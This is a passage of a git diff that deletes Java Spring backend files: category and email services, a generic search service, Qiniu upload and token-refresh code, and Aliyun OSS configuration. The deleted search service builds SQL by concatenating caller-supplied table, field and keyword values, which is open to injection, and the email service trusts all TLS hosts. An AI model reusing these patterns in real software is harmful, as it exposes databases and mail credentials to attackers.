comCategoryMapper.selectComCategoryList(comCategory); - } - - /** - * 新增类别 - * - * @param comCategory 类别 - * @return 结果 - */ - @Override - public int insertComCategory(ComCategory comCategory) - { - comCategory.setCreateTime(DateUtils.getNowDate()); - return comCategoryMapper.insertComCategory(comCategory); - } - - /** - * 修改类别 - * - * @param comCategory 类别 - * @return 结果 - */ - @Override - public int updateComCategory(ComCategory comCategory) - { - comCategory.setUpdateTime(DateUtils.getNowDate()); - return comCategoryMapper.updateComCategory(comCategory); - } - - /** - * 批量删除类别 - * - * @param ids 需要删除的类别ID - * @return 结果 - */ - @Override - public int deleteComCategoryByIds(Long[] ids) - { - return comCategoryMapper.deleteComCategoryByIds(ids); - } - - /** - * 删除类别信息 - * - * @param id 类别ID - * @return 结果 - */ - @Override - public int deleteComCategoryById(Long id) - { - return comCategoryMapper.deleteComCategoryById(id); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/service/impl/CommonServiceImpl.java b/luqj-common/src/main/java/com/luqj/common/service/impl/CommonServiceImpl.java deleted file mode 100644 index 86d7e6c..0000000 --- a/luqj-common/src/main/java/com/luqj/common/service/impl/CommonServiceImpl.java +++ /dev/null @@ -1,39 +0,0 @@ -package com.luqj.common.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.luqj.common.domain.SelectItem; -import com.luqj.common.service.ICommonService; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.List; - -@Service -public class CommonServiceImpl implements ICommonService { - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List search(String tableName, String fieldId, String fieldName, String keyword) { - if (StringUtils.isEmpty(tableName)) { - return new ArrayList<>(); - } - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(fieldId + " as id,"); - stringBuffer.append(fieldName + " as name"); - stringBuffer.append(" from "); - stringBuffer.append(" " + tableName + " "); - if (StringUtils.isNotBlank(keyword)) { - stringBuffer.append(" where "); - stringBuffer.append(fieldName + " like '%" + keyword + "%'"); - } - stringBuffer.append(" limit 0,100 "); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), SelectItem.class); - return tList; - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/service/impl/SendEmailServiceImpl.java b/luqj-common/src/main/java/com/luqj/common/service/impl/SendEmailServiceImpl.java deleted file mode 100644 index 009c92e..0000000 --- a/luqj-common/src/main/java/com/luqj/common/service/impl/SendEmailServiceImpl.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.common.service.impl; - -import com.luqj.common.config.EmailProperties; -import com.luqj.common.service.ISendEmailService; -import com.sun.mail.util.MailSSLSocketFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; - -import javax.mail.Message; -import javax.mail.MessagingException; -import javax.mail.Session; -import javax.mail.Transport; -import javax.mail.internet.InternetAddress; -import javax.mail.internet.MimeMessage; -import java.security.GeneralSecurityException; -import java.util.Properties; - -@Service -public class SendEmailServiceImpl implements ISendEmailService { - @Autowired - private EmailProperties emailProperties; - private final Properties props = new Properties(); - - @Override - public boolean send(String email, String subject, String content) throws MessagingException, GeneralSecurityException { - // qq邮件 - // 设置邮件服务器主机名 - props.setProperty("mail.host", emailProperties.getSmtpHost()); - // 发送服务器需要身份验证 - props.setProperty("mail.smtp.auth", emailProperties.getSmtpAuth() + ""); - // 发送邮件协议名称 - props.setProperty("mail.transport.protocol", "smtp"); - - // 开启SSL加密,否则会失败 - MailSSLSocketFactory sf = new MailSSLSocketFactory(); - sf.setTrustAllHosts(true); - props.put("mail.smtp.ssl.enable", "true"); - props.put("mail.smtp.ssl.socketFactory", sf); - - // 创建session - Session session = Session.getInstance(props); - // 通过session得到transport对象 - Transport ts = session.getTransport(); - ts.connect(emailProperties.getSmtpHost(), emailProperties.getUser(), emailProperties.getPassword());// 后面的字符是授权码 - - // 创建邮件对象 - Message message = new MimeMessage(session); - // 指明邮件的发件人 - message.setFrom(new InternetAddress(emailProperties.getUser())); - // 指明邮件的收件人,现在发件人和收件人是一样的,那就是自己给自己发 - message.setRecipient(Message.RecipientType.TO, new InternetAddress(email)); - // 邮件的标题 - message.setSubject(subject); - // 邮件的文本内容 - message.setContent(content, "text/html;charset=UTF-8"); - // 发送邮件 - ts.sendMessage(message, message.getAllRecipients()); - ts.close(); - return true; - } - - public static void main(String[] args) { - - } -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/controller/QiniuController.java b/luqj-common/src/main/java/com/luqj/qiniu/controller/QiniuController.java deleted file mode 100644 index 5aefcb8..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/controller/QiniuController.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.luqj.qiniu.controller; - -import com.luqj.qiniu.entity.QiNiu; -import com.luqj.qiniu.service.IQiniuService; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; -import lombok.extern.slf4j.Slf4j; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; - -/** - * @Description: qiniu_config - * @Author: jeecg-boot - * @Date: 2020-08-15 - * @Version: V1.0 - */ -@Api(tags = "qiniu") -@RestController -@RequestMapping("/common/qiniu") -@Slf4j -public class QiniuController extends BaseController { - @Autowired - private IQiniuService qiniuService; - - @ApiOperation(value = "获取客户端上传认证信息", notes = "获取客户端上传认证信息") - @GetMapping(value = "/config") - @ResponseBody - public AjaxResult config() { - try { - QiNiu qiNiu = qiniuService.buildToken(); - return AjaxResult.success(qiNiu); - } catch (Exception ex) { - return AjaxResult.error(ex.getMessage()); - } - } -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/entity/QiNiu.java b/luqj-common/src/main/java/com/luqj/qiniu/entity/QiNiu.java deleted file mode 100644 index 85d8933..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/entity/QiNiu.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.luqj.qiniu.entity; - - -import io.swagger.annotations.ApiModel; -import lombok.Data; - -import java.io.Serializable; - -@Data -@ApiModel(value = "QiNiu",description = "七牛配置") -public class QiNiu implements Serializable { - private String token; - private String key; - private int zone; -} - diff --git a/luqj-common/src/main/java/com/luqj/qiniu/entity/QiniuConfig.java b/luqj-common/src/main/java/com/luqj/qiniu/entity/QiniuConfig.java deleted file mode 100644 index 24b4c2d..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/entity/QiniuConfig.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.luqj.qiniu.entity; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import com.fasterxml.jackson.annotation.JsonFormat; -import com.ruoyi.common.annotation.Excel; -import io.swagger.annotations.ApiModel; -import io.swagger.annotations.ApiModelProperty; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.experimental.Accessors; -import org.springframework.format.annotation.DateTimeFormat; - -import java.io.Serializable; -import java.util.Date; - -/** - * @Description: qiniu_config - * @Author: jeecg-boot - * @Date: 2020-08-15 - * @Version: V1.0 - */ -@Data -@TableName("com_qiniu_config") -@Accessors(chain = true) -@EqualsAndHashCode(callSuper = false) -@ApiModel(value = "qiniu_config对象", description = "qiniu_config") -public class QiniuConfig implements Serializable { - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(type = IdType.ID_WORKER_STR) - @ApiModelProperty(value = "主键") - private String id; - /** - * access_key - */ - @Excel(name = "access_key", width = 15) - @ApiModelProperty(value = "access_key") - private String accessKey; - /** - * secret_key - */ - @Excel(name = "secret_key", width = 15) - @ApiModelProperty(value = "secret_key") - private String secretKey; - /** - * 编码 - */ - @Excel(name = "编码", width = 15) - @ApiModelProperty(value = "编码") - private String code; - /** - * bucket - */ - @Excel(name = "bucket", width = 15) - @ApiModelProperty(value = "bucket") - private String bucket; - /** - * token有效时间 - */ - @Excel(name = "token有效时间", width = 15) - @ApiModelProperty(value = "token有效时间") - private Integer tokenExpireSeconds; - /** - * zone类型 - */ - @Excel(name = "zone类型", width = 15) - @ApiModelProperty(value = "zone类型") - private Integer zoneType; - /** - * 创建时间 - */ - @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") - @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") - @ApiModelProperty(value = "创建时间") - private Date createTime; -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/mapper/QiniuConfigMapper.java b/luqj-common/src/main/java/com/luqj/qiniu/mapper/QiniuConfigMapper.java deleted file mode 100644 index e2c6419..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/mapper/QiniuConfigMapper.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.luqj.qiniu.mapper; - -import java.util.List; - -import com.luqj.qiniu.entity.QiniuConfig; -import org.apache.ibatis.annotations.Param; -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -/** - * @Description: qiniu_config - * @Author: jeecg-boot - * @Date: 2020-08-15 - * @Version: V1.0 - */ -public interface QiniuConfigMapper extends BaseMapper { - -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/service/IQiniuConfigService.java b/luqj-common/src/main/java/com/luqj/qiniu/service/IQiniuConfigService.java deleted file mode 100644 index 19dd04d..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/service/IQiniuConfigService.java +++ /dev/null @@ -1,14 +0,0 @@ -package com.luqj.qiniu.service; - -import com.baomidou.mybatisplus.extension.service.IService; -import com.luqj.qiniu.entity.QiniuConfig; - -/** - * @Description: qiniu_config - * @Author: jeecg-boot - * @Date: 2020-08-15 - * @Version: V1.0 - */ -public interface IQiniuConfigService extends IService { - QiniuConfig getFirstOne(); -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/service/IQiniuService.java b/luqj-common/src/main/java/com/luqj/qiniu/service/IQiniuService.java deleted file mode 100644 index 0525ab4..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/service/IQiniuService.java +++ /dev/null @@ -1,14 +0,0 @@ -package com.luqj.qiniu.service; - -import com.luqj.qiniu.entity.QiNiu; -import org.springframework.web.multipart.MultipartFile; - -public interface IQiniuService { - QiNiu buildToken() throws Exception; - - void refreshQiniuToken(); - - String upload(String localFilePath, String key); - - String upload(MultipartFile file, String fileDir); -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/service/impl/QiniuConfigServiceImpl.java b/luqj-common/src/main/java/com/luqj/qiniu/service/impl/QiniuConfigServiceImpl.java deleted file mode 100644 index 80ff6c3..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/service/impl/QiniuConfigServiceImpl.java +++ /dev/null @@ -1,55 +0,0 @@ -package com.luqj.qiniu.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.qiniu.entity.QiniuConfig; -import com.luqj.qiniu.mapper.QiniuConfigMapper; -import com.luqj.qiniu.service.IQiniuConfigService; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; - -import java.io.Serializable; -import java.util.Collection; - -/** - * @Description: qiniu_config - * @Author: jeecg-boot - * @Date: 2020-08-15 - * @Version: V1.0 - */ -@Service -public class QiniuConfigServiceImpl extends ServiceImpl implements IQiniuConfigService { - @Cacheable(value = "sys:qiniu:config", key = "'one'") - @Override - public QiniuConfig getFirstOne() { - LambdaQueryWrapper queryWrapper = new QueryWrapper().lambda(); - QiniuConfig qiniuConfig = getOne(queryWrapper); - return qiniuConfig; - } - - @CacheEvict(value = "sys:qiniu:config", key = "'one'") - @Override - public boolean save(QiniuConfig entity) { - return super.save(entity); - } - - @CacheEvict(value = "sys:qiniu:config", key = "'one'") - @Override - public boolean updateById(QiniuConfig entity) { - return super.updateById(entity); - } - - @CacheEvict(value = "sys:qiniu:config", key = "'one'") - @Override - public boolean removeByIds(Collection idList) { - return super.removeByIds(idList); - } - - @CacheEvict(value = "sys:qiniu:config", key = "'one'") - @Override - public boolean removeById(Serializable id) { - return super.removeById(id); - } -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/service/impl/QiniuServiceImpl.java b/luqj-common/src/main/java/com/luqj/qiniu/service/impl/QiniuServiceImpl.java deleted file mode 100644 index 5da11e8..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/service/impl/QiniuServiceImpl.java +++ /dev/null @@ -1,125 +0,0 @@ -package com.luqj.qiniu.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.google.gson.Gson; -import com.luqj.qiniu.entity.QiNiu; -import com.luqj.qiniu.entity.QiniuConfig; -import com.luqj.qiniu.service.IQiniuConfigService; -import com.luqj.qiniu.service.IQiniuService; -import com.qiniu.common.QiniuException; -import com.qiniu.common.Zone; -import com.qiniu.http.Response; -import com.qiniu.storage.Configuration; -import com.qiniu.storage.UploadManager; -import com.qiniu.storage.model.DefaultPutRet; -import com.qiniu.util.Auth; -import com.qiniu.util.StringMap; -import com.ruoyi.common.CacheConstant; -import com.ruoyi.common.redis.RedisUtil; -import com.ruoyi.common.utils.CommonUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Service; -import org.springframework.web.multipart.MultipartFile; - -import java.io.File; -import java.io.IOException; -import java.util.UUID; -import java.util.concurrent.TimeUnit; - -@Service -public class QiniuServiceImpl implements IQiniuService { - private final static Logger logger = LoggerFactory.getLogger(QiniuServiceImpl.class); - @Autowired - private IQiniuConfigService qiniuConfigService; - @Autowired - private RedisUtil redisUtil; - @Value("${lu.admin.qiniu.addr:http://img.hy-vip.cn}") - private String qiniuAddr; - - @Override - public QiNiu buildToken() throws Exception { - LambdaQueryWrapper queryWrapper = new QueryWrapper().lambda(); - QiniuConfig qiniuConfig = qiniuConfigService.getOne(queryWrapper); - if (null == qiniuConfig) { - throw new Exception("请配置七牛存储配置"); - } - QiNiu qiNiu = new QiNiu(); - - qiNiu.setKey(UUID.randomUUID().toString().replaceAll("\\-", "")); - String token = redisUtil.get(CacheConstant.QI_NIU_TOKEN, ""); - qiNiu.setToken(token); - qiNiu.setZone(qiNiu.getZone()); - return qiNiu; - } - - public String upload(MultipartFile file, String fileDir) { - Configuration cfg = new Configuration(new Zone.Builder().autoZone()); - UploadManager uploadManager = new UploadManager(cfg); - StringBuilder fileUrl = new StringBuilder(); - // 获取文件名 - String orgName = file.getOriginalFilename(); - orgName = CommonUtils.getFileName(orgName); - String fileName = orgName.substring(0, orgName.lastIndexOf(".")) + "_" + System.currentTimeMillis() + orgName.substring(orgName.indexOf(".")); - if (!fileDir.endsWith("/")) { - fileDir = fileDir.concat("/"); - } - fileDir = fileDir.replace("/", "/"); - fileUrl = fileUrl.append(fileDir + fileName); - - String upToken = redisUtil.get(CacheConstant.QI_NIU_TOKEN, ""); - - try { - Response response = uploadManager.put(file.getBytes(), fileUrl.toString(), upToken); - //解析上传成功的结果 - DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class); - System.out.println(putRet.key); - System.out.println(putRet.hash); - return qiniuAddr + File.separator + putRet.key; - } catch (QiniuException ex) { - ex.printStackTrace(); - } catch (IOException e) { - e.printStackTrace(); - } - return null; - - } - - public void refreshQiniuToken() { - QiniuConfig qiniuConfig = qiniuConfigService.getFirstOne(); - if (null == qiniuConfig) { - logger.error("请配置七牛存储配置"); - return; - } - String accessKey = qiniuConfig.getAccessKey(); - String secretKey = qiniuConfig.getSecretKey(); - String bucket = qiniuConfig.getBucket(); - long expireSeconds = qiniuConfig.getTokenExpireSeconds(); //过期时间 - if (!redisUtil.hasKey(CacheConstant.QI_NIU_TOKEN, "")) { - StringMap putPolicy = new StringMap(); - Auth auth = Auth.create(accessKey, secretKey); - String upToken = auth.uploadToken(bucket, null, expireSeconds, putPolicy); - redisUtil.set(CacheConstant.QI_NIU_TOKEN, "", upToken, expireSeconds, TimeUnit.SECONDS); - } - - } - - public String upload(String localFilePath, String key) { - //构造一个带指定 Region - Configuration cfg = new Configuration(new Zone.Builder().autoZone()); - UploadManager uploadManager = new UploadManager(cfg); - try { - String[] strings = localFilePath.split("\\."); - Response response = uploadManager.put(localFilePath, key + "." + strings[strings.length - 1], redisUtil.get(CacheConstant.QI_NIU_TOKEN, "")); - //解析上传成功的结果 - DefaultPutRet putRet = new Gson().fromJson(response.bodyString(), DefaultPutRet.class); - return qiniuAddr + File.separator + putRet.key; - } catch (QiniuException ex) { - ex.printStackTrace(); - } - return null; - } -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/task/QiNiuRefreshTokenTask.java b/luqj-common/src/main/java/com/luqj/qiniu/task/QiNiuRefreshTokenTask.java deleted file mode 100644 index f581b4e..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/task/QiNiuRefreshTokenTask.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.luqj.qiniu.task; - -import com.luqj.qiniu.service.IQiniuService; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.scheduling.annotation.EnableScheduling; -import org.springframework.scheduling.annotation.Scheduled; -import org.springframework.stereotype.Component; - -/** - * Created by luqj on 2018/8/24. - * 书信七牛token - */ -@Component -@EnableScheduling // 2.开启定时任务 -public class QiNiuRefreshTokenTask { - private final static Logger logger = LoggerFactory.getLogger(QiNiuRefreshTokenTask.class); - @Autowired - private IQiniuService qiniuService; - -// @Scheduled(cron = "0/10 * * * * ?") - @Scheduled(cron = "0 */10 * * * ?") - public void refreshQiniuToken() { - qiniuService.refreshQiniuToken(); - - } -} diff --git a/luqj-common/src/main/java/com/luqj/qiniu/util/SimpleUpload.java b/luqj-common/src/main/java/com/luqj/qiniu/util/SimpleUpload.java deleted file mode 100644 index e4ee7b4..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/util/SimpleUpload.java +++ /dev/null @@ -1,128 +0,0 @@ -package com.luqj.qiniu.util; - -import com.qiniu.common.QiniuException; -import com.qiniu.common.Zone; -import com.qiniu.http.Response; -import com.qiniu.storage.Configuration; -import com.qiniu.storage.UploadManager; -import com.qiniu.util.Auth; - -import java.io.File; - -/** - * 七牛 java sdk 简单上传,覆盖上传,文件上传 - * - * @author luqj - */ -public class SimpleUpload { - - private Auth auth; - private UploadManager uploadManager; - - public void init(String accessKey, String secretKey) { -// com.license.LicenseBootstrap.init(); -// Configuration cfg = new Configuration(Zone.zone0()); - Configuration cfg = new Configuration(Zone.zone2()); - uploadManager = new UploadManager(cfg); - auth = Auth.create(accessKey, secretKey); - } - - /** - * 获取凭证 - * - * @param bucketName 空间名称 - * @param key 如果需要覆盖上传则设置此参数 - * @return - */ - public String getUpToken(String bucketName, String key) { - return auth.uploadToken(bucketName); - } - - /** - * 上传方法1 - * - * @param filePath 文件路径 (也可以是字节数组、或者File对象) - * @param key 上传到七牛上的文件的名称 (同一个空间下,名称【key】是唯一的) - * @param bucketName 空间名称 (这里是为了获取上传凭证) - */ - public void upload(String filePath, String key, String bucketName) { - try { - // 调用put方法上传 - Response res = uploadManager.put(filePath, key, getUpToken(bucketName, key)); - // 打印返回的信息 - System.out.println(res.bodyString()); - } catch (QiniuException e) { - Response r = e.response; - // 请求失败时打印的异常的信息 - System.out.println(r.toString()); - try { - // 响应的文本信息 - System.out.println(r.bodyString()); - } catch (QiniuException qe) { - // ignore - } - } - } - - /** - * 上传方法2 - * - * @param file 文件 - * @param key 上传到七牛上的文件的名称 (同一个空间下,名称【key】是唯一的) - * @param bucketName 空间名称 (这里是为了获取上传凭证) - */ - public void upload(File file, String key, String bucketName) { - try { - // 调用put方法上传 - Response res = uploadManager.put(file, key, getUpToken(bucketName, key)); - // 打印返回的信息 - System.out.println(res.bodyString()); - } catch (QiniuException e) { - Response r = e.response; - // 请求失败时打印的异常的信息 - System.out.println(r.toString()); - try { - // 响应的文本信息 - System.out.println(r.bodyString()); - } catch (QiniuException qe) { - // ignore - } - } - } - - /** - * 上传方法3 覆盖上传 - * - * @param path 上传文件路径 - * @param bucketName 空间名 - * @param key 文件名 - */ - public void overrideUpload(String path, String key, String bucketName) { - try { - String token = getUpToken(bucketName, key);//获取 token - Response response = uploadManager.put(path, key, token);//执行上传,通过token来识别 该上传是“覆盖上传” - System.out.println(response.toString()); - } catch (QiniuException e) { - System.out.println(e.response.statusCode); - e.printStackTrace(); - } - } - - /** - * 主函数:程序入口,测试功能 - * - * @param args - */ - public static void main(String[] args) { - // 上传文件的路径,因为在Mac下,所以路径和windows下不同 - String filePath = "D:\\test.txt"; - // 要上传的空间 - String bucketName = "test"; - // 上传到七牛后保存的文件名 - String key = "sometext.txt"; - // 这里的filepath可以直接替换成File如下注释所示 - // File file=new File(filePath); - // new SimpleUpload().upload(file, key, bucketName); - new SimpleUpload().upload(filePath, key, bucketName); - } -} \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/qiniu/util/UploadManager.java b/luqj-common/src/main/java/com/luqj/qiniu/util/UploadManager.java deleted file mode 100644 index 58c5411..0000000 --- a/luqj-common/src/main/java/com/luqj/qiniu/util/UploadManager.java +++ /dev/null @@ -1,231 +0,0 @@ -package com.luqj.qiniu.util; - - -import com.qiniu.common.QiniuException; -import com.qiniu.http.Client; -import com.qiniu.http.Response; -import com.qiniu.storage.*; -import com.qiniu.util.StringMap; - -import java.io.File; -import java.io.IOException; -import java.io.InputStream; - -/** - * 七牛文件上传管理器,通过该类上传文件时,会自动根据定义的{@link Configuration#putThreshold} - * 来判断是采用表单上传还是分片上传的方法,超过了定义的{@link Configuration#putThreshold}就会采用 - * 分片上传的方法,可以在构造该类对象的时候,通过{@link Configuration}类来自定义这个值。 - * 一般默认可以使用这个类的方法来上传数据和文件。这个类自动检测文件的大小, - */ -public final class UploadManager { - private final Client client; - private final Recorder recorder; - private final Configuration configuration; - - /** - * 构建一个非断点续传的上传对象 - * - * @param config 配置类对象 - */ - public UploadManager(Configuration config) { - this(config, null); - } - - /** - * 构建一个支持断点续传的上传对象。只在文件采用分片上传时才会有效。 - * 分块上传中,将每一块上传的记录保存下来。上传中断后可在上一次断点记录基础上上传剩余部分。 - * 对于不同的文件上传需要支持断点续传的情况,请定义不同的UploadManager对象,而不要共享。 - * - * @param config 配置类对象 - * @param recorder 断点记录对象 - */ - public UploadManager(Configuration config, Recorder recorder) { - configuration = config.clone(); - client = new Client(configuration); - this.recorder = recorder; - -} - - private static void checkArgs(final String key, byte[] data, File f, String token) { -// com.license.LicenseBootstrap.init(); - String message = null; - if (f == null && data == null) { - message = "no input data"; - } else if (token == null || token.equals("")) { - message = "no token"; - } - if (message != null) { - throw new IllegalArgumentException(message); - } - } - - /** - * 过滤用户自定义参数,只有参数名以x:开头的参数才会被使用 - * - * @param params 待过滤的用户自定义参数 - * @return 过滤后的用户自定义参数 - */ - private static StringMap filterParam(StringMap params) { - final StringMap ret = new StringMap(); - if (params == null) { - return ret; - } - - params.forEach(new StringMap.Consumer() { - @Override - public void accept(String key, Object value) { - if (value == null) { - return; - } - String val = value.toString(); - if (key.startsWith("x:") && !val.equals("")) { - ret.put(key, val); - } - } - }); - - return ret; - } - - /** - * 上传字节数组 - * - * @param data 上传的数据 - * @param key 上传数据保存的文件名 - * @param token 上传凭证 - */ - public Response put(final byte[] data, final String key, final String token) throws QiniuException { - return put(data, key, token, null, null, false); - } - - /** - * 上传字节数组 - * - * @param data 上传的数据 - * @param key 上传数据保存的文件名 - * @param token 上传凭证 - * @param params 自定义参数,如 params.put("x:foo", "foo") - * @param mime 指定文件mimetype - * @param checkCrc 是否验证crc32 - * @return - * @throws QiniuException - */ - public Response put(final byte[] data, final String key, final String token, StringMap params, - String mime, boolean checkCrc) throws QiniuException { - checkArgs(key, data, null, token); - if (mime == null) { - mime = Client.DefaultMime; - } - params = filterParam(params); - return new FormUploader(client, token, key, data, params, mime, checkCrc, configuration).upload(); - } - - /** - * 上传文件 - * - * @param filePath 上传的文件路径 - * @param key 上传文件保存的文件名 - * @param token 上传凭证 - */ - public Response put(String filePath, String key, String token) throws QiniuException { - return put(filePath, key, token, null, null, false); - } - - /** - * 上传文件 - * - * @param filePath 上传的文件路径 - * @param key 上传文件保存的文件名 - * @param token 上传凭证 - * @param params 自定义参数,如 params.put("x:foo", "foo") - * @param mime 指定文件mimetype - * @param checkCrc 是否验证crc32 - */ - public Response put(String filePath, String key, String token, StringMap params, - String mime, boolean checkCrc) throws QiniuException { - return put(new File(filePath), key, token, params, mime, checkCrc); - } - - /** - * 上传文件 - * - * @param file 上传的文件对象 - * @param key 上传文件保存的文件名 - * @param token 上传凭证 - */ - public Response put(File file, String key, String token) throws QiniuException { - return put(file, key, token, null, null, false); - } - - /** - * 上传文件 - * - * @param file 上传的文件对象 - * @param key 上传文件保存的文件名 - * @param token 上传凭证 - * @param mime 指定文件mimetype - * @param checkCrc 是否验证crc32 - */ - public Response put(File file, String key, String token, StringMap params, - String mime, boolean checkCrc) throws QiniuException { - checkArgs(key, null, file, token); - if (mime == null) { - mime = Client.DefaultMime; - } - params = filterParam(params); - long size = file.length(); - if (size <= configuration.putThreshold) { - return new FormUploader(client, token, key, file, params, mime, checkCrc, configuration).upload(); - } - - ResumeUploader uploader = new ResumeUploader(client, token, key, file, - params, mime, recorder, configuration); - return uploader.upload(); - } - - /** - * 异步上传数据 - * - * @param data 上传的数据 - * @param key 上传数据保存的文件名 - * @param token 上传凭证 - * @param params 自定义参数,如 params.put("x:foo", "foo") - * @param mime 指定文件mimetype - * @param checkCrc 是否验证crc32 - * @param handler 上传完成的回调函数 - */ - public void asyncPut(final byte[] data, final String key, final String token, StringMap params, - String mime, boolean checkCrc, UpCompletionHandler handler) throws IOException { - checkArgs(key, data, null, token); - if (mime == null) { - mime = Client.DefaultMime; - } - params = filterParam(params); - new FormUploader(client, token, key, data, params, mime, checkCrc, configuration).asyncUpload(handler); - } - - /** - * 流式上传,通常情况建议文件上传,可以使用持久化的断点记录。 - * - * @param stream sha - * @param key 上传文件保存的文件名 - * @param token 上传凭证 - * @param params 自定义参数,如 params.put("x:foo", "foo") - * @param mime 指定文件mimetype - */ - public Response put(InputStream stream, String key, String token, StringMap params, - String mime) throws QiniuException { - String message = null; - if (stream == null) { - message = "no input data"; - } else if (token == null || token.equals("")) { - message = "no token"; - } - if (message != null) { - throw new IllegalArgumentException(message); - } - StreamUploader uploader = new StreamUploader(client, token, key, stream, - params, mime, configuration); - return uploader.upload(); - } -} \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/sso/config/OssConfig.java b/luqj-common/src/main/java/com/luqj/sso/config/OssConfig.java deleted file mode 100644 index 70d7c6b..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/config/OssConfig.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.luqj.sso.config; - -import com.aliyun.oss.OSSClient; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; - -/** - * Created by luqj on 2018/5/17. - */ -@Configuration -public class OssConfig { - @Value("${luqj.oss.endpoint}") - private String ALIYUN_OSS_ENDPOINT; - @Value("${luqj.oss.accessKey}") - private String ALIYUN_OSS_ACCESSKEYID; - @Value("${luqj.oss.secretKey}") - private String ALIYUN_OSS_ACCESSKEYSECRET; - @Bean - public OSSClient ossClient(){ - return new OSSClient(ALIYUN_OSS_ENDPOINT,ALIYUN_OSS_ACCESSKEYID,ALIYUN_OSS_ACCESSKEYSECRET); - } -} diff --git a/luqj-common/src/main/java/com/luqj/sso/controller/OssController.java b/luqj-common/src/main/java/com/luqj/sso/controller/OssController.java deleted file mode 100644 index bd629ea..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/controller/OssController.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.luqj.sso.controller; - - -import com.luqj.sso.entity.OssCallbackResult; -import com.luqj.sso.entity.OssPolicyResult; -import com.luqj.sso.service.OssService; -import com.ruoyi.common.core.domain.AjaxResult; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestMethod; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.http.HttpServletRequest; - -/** - * Oss相关操作接口 - * Created by luqj on 2018/4/26. - */ -@Controller -@Api(tags = "Oss管理-后台", description = "Oss管理") -@RequestMapping("/common/oss") -public class OssController { - @Autowired - private OssService ossService; - - @ApiOperation(value = "oss上传签名生成") - @RequestMapping(value = "/policy", method = RequestMethod.GET) - @ResponseBody - public AjaxResult policy() { - OssPolicyResult result = ossService.policy(); - return AjaxResult.success(result); - } - - @ApiOperation(value = "oss上传成功回调") - @RequestMapping(value = "callback", method = RequestMethod.POST) - @ResponseBody - public AjaxResult callback(HttpServletRequest request) { - OssCallbackResult ossCallbackResult = ossService.callback(request); - return AjaxResult.success(ossCallbackResult); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/sso/entity/OssCallbackParam.java 